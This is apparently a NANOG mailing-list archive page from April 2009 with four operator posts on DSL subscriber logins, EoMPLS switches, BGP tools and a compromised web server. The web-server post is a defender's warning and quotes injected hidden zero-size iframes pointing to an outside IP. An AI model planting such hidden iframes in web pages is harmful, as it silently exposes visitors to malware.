DSL Subscriber management
by Sherwin Ang 22 Apr '09

22 Apr '09

Hello Nanog! i just would like to see how other operators are handling broadband/DSL subscribers in their BRAS. Currently, we are implementing PPPoE with AAA on our Redback SE's and Cisco boxes. As our subscriber base grows and grows, management of user logins, passwords, password resets, password changes are getting really huge. Some customers also complains about the method of logging in, asking for an easier way to do it or dump logins altogether. We're looking at DHCP/CLIPS for Redback but haven't really tested it since it requires a new license for it. For Cisco, we've been empty so far in looking for a solution wherein we still have accounting and rate-limiting on subscriber vc's. how are network operators in your areas do it? DHCP? if i do DHCP, will i still have the flexibility of sending a radius reply attribute so i could rate-limit the subscribers speed? or still offer speed on demand via radius/time-based upgrade of their rate-limits during off-peak hours? thank you for any insights that you may share. -sherwin

Any experience with EoMPLS PE switches?
by Jason Lixfeld 21 Apr '09

21 Apr '09

Looking to migrate away from a VLAN centric core to provision client TLS circuits into something a little more scalable. EoMPLS seems like the apple to chew these days. Anyone have any experience with a cost effective EoMPLS PE (VPLS is likely going to be a necessity down the road too) that also does what any other purpose built edge switch would do? QinQ, L2 protocol tunneling, port security (MAC lock down, UNI ports, etc), DHCP server, LACP, MSTP, BGP/OSPF/ISIS? In a perfect world, this thing would be about 1U, have between 12-24 ports, mixed mode (SFP + RJ45) 10/100/1000, dual DC power. Not looking to burn up glass by pulling all our customers back to a central aggregation box, so we'd be looking to drop one or more of these devices into all of our on-net buildings (40 or so), so they'd have to be relatively cost effective. Cisco doesn't seem to have anything reasonably priced. I haven't had much luck keeping MRV's 910 series from crashing. Off-list replies are probably fine. If there is any genuine interest, I'd be happy to post my findings. Thanks in advance.

Malicious code just found on web server
by Russell Berg 21 Apr '09

21 Apr '09

We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> <iframe src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> </body> </html> IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. Just a heads up for folks; we have a team investigating...

tools for BGP
by Irfan Zakiuddin 21 Apr '09

21 Apr '09

Hi, I am interested in commercial tools for managing BGP. I would be interested to hear which commercial tools BGP administrators recommend or like; and why they like them. I would be equally interested to learn which tools people don't like, and why. If people don't feel able to name tools, then I would still be grateful for a description of unhelpful features or an outline of why functionality is to limited. This should not require giving product names. Finally, I would be most interested if people think there are no commercial tools which are of much use. thanks in advance for your help.
